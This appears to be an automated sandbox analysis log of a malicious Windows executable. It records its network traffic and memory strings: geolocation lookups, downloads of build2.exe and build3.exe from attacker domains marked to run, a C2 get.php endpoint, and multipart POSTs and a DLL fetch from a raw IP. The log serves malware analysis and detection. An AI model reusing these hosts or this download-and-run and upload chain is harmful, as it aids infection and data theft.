Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKEUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 1_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: sdfjhuz.com
Source: global traffic	HTTP traffic detected: GET /test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com

Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com ht equals www.youtube.com (Youtube)
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: SUwX12D2S6.exe, 00000004.00000003.1778859571.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: SUwX12D2S6.exe, 00000004.00000003.1779071628.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: SUwX12D2S6.exe, 00000004.00000003.1779207365.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: api.2ip.ua

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDGUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$run
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$runinstall020921_delay721_sec.exe0D
Source: SUwX12D2S6.exe, 00000004.00000002.2245822079.0000000003102000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2242434327.0000000003102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exeg
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exerun
Source: SUwX12D2S6.exe, 00000004.00000002.2245822079.0000000003102000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2242434327.0000000003102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exeug
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000767000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000006.00000002.4130188988.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.php
Source: SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000767000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000006.00000002.4130188988.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=trueG
Source: SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000767000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637eAa
Source: SUwX12D2S6.exe, 00000004.00000003.1792498139.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: SUwX12D2S6.exe, 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000005.00000002.1719252737.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000B.00000002.1848123271.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000017.00000002.2105470149.0000000005ED0000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mic
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe$run
Source: SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exerun
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: SUwX12D2S6.exe, 00000004.00000003.1778741308.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: SUwX12D2S6.exe, 00000004.00000003.1778916940.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: SUwX12D2S6.exe, 00000004.00000003.1778967819.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: SUwX12D2S6.exe, 00000006.00000003.1779158396.0000000003590000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: SUwX12D2S6.exe, 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: SUwX12D2S6.exe, 00000004.00000003.1779020093.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970386544.000000001E91D000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: SUwX12D2S6.exe, 00000004.00000003.1779071628.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: SUwX12D2S6.exe, 00000004.00000003.1779153652.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: SUwX12D2S6.exe, 00000004.00000003.1779207365.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/2
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/C
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/T
Source: build2.exe, 00000008.00000002.1967987129.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/V
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/_u
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/a
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/ets
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/f
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/hp
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/m
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/pet
Source: build2.exe, 00000008.00000002.1966489860.0000000000514000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000913000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1914285803.0000000000999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dll
Source: build2.exe, 00000008.00000002.1967987129.0000000000913000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dll5
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dllne
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/t
Source: build2.exe, 00000008.00000002.1967987129.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/u
Source: build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/x
Source: build2.exe, 00000008.00000002.1966489860.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.1490.5938.132
Source: build2.exe, 00000008.00000002.1966489860.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149CGCBK
Source: build2.exe, 00000008.00000002.1966489860.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149PUA4832FF8~YAAQLwwtFycGjvGKAQAAIGQc
Source: build2.exe, 00000008.00000002.1966489860.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149a
Source: SUwX12D2S6.exe, 00000004.00000003.1783890640.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: SUwX12D2S6.exe, 00000004.00000003.1712281637.000000000087B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000767000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000002.1864753840.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000003.1863989873.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000018.00000002.2117893429.0000000000714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: SUwX12D2S6.exe, 00000001.00000002.1695073196.0000000000847000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/0
Source: SUwX12D2S6.exe, 0000000C.00000002.1864753840.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000003.1863989873.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/L
Source: SUwX12D2S6.exe, 00000018.00000002.2117893429.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: SUwX12D2S6.exe, 0000000C.00000002.1864655252.0000000000788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json$
Source: SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000728000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json;
Source: SUwX12D2S6.exe, 0000000C.00000002.1864753840.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000003.1863989873.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonE
Source: SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000767000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonN9
Source: SUwX12D2S6.exe, 00000018.00000002.2117893429.0000000000714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsondn
Source: SUwX12D2S6.exe, 00000018.00000002.2117893429.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsons
Source: SUwX12D2S6.exe, 00000018.00000002.2117893429.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsont
Source: SUwX12D2S6.exe, 0000000C.00000002.1864655252.0000000000788000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000018.00000002.2117893429.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonz
Source: SUwX12D2S6.exe, 00000001.00000002.1695073196.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonzW
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: SUwX12D2S6.exe, 00000004.00000003.1783890640.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: SUwX12D2S6.exe, 00000004.00000003.1783890640.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: SUwX12D2S6.exe, 00000004.00000003.1783890640.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
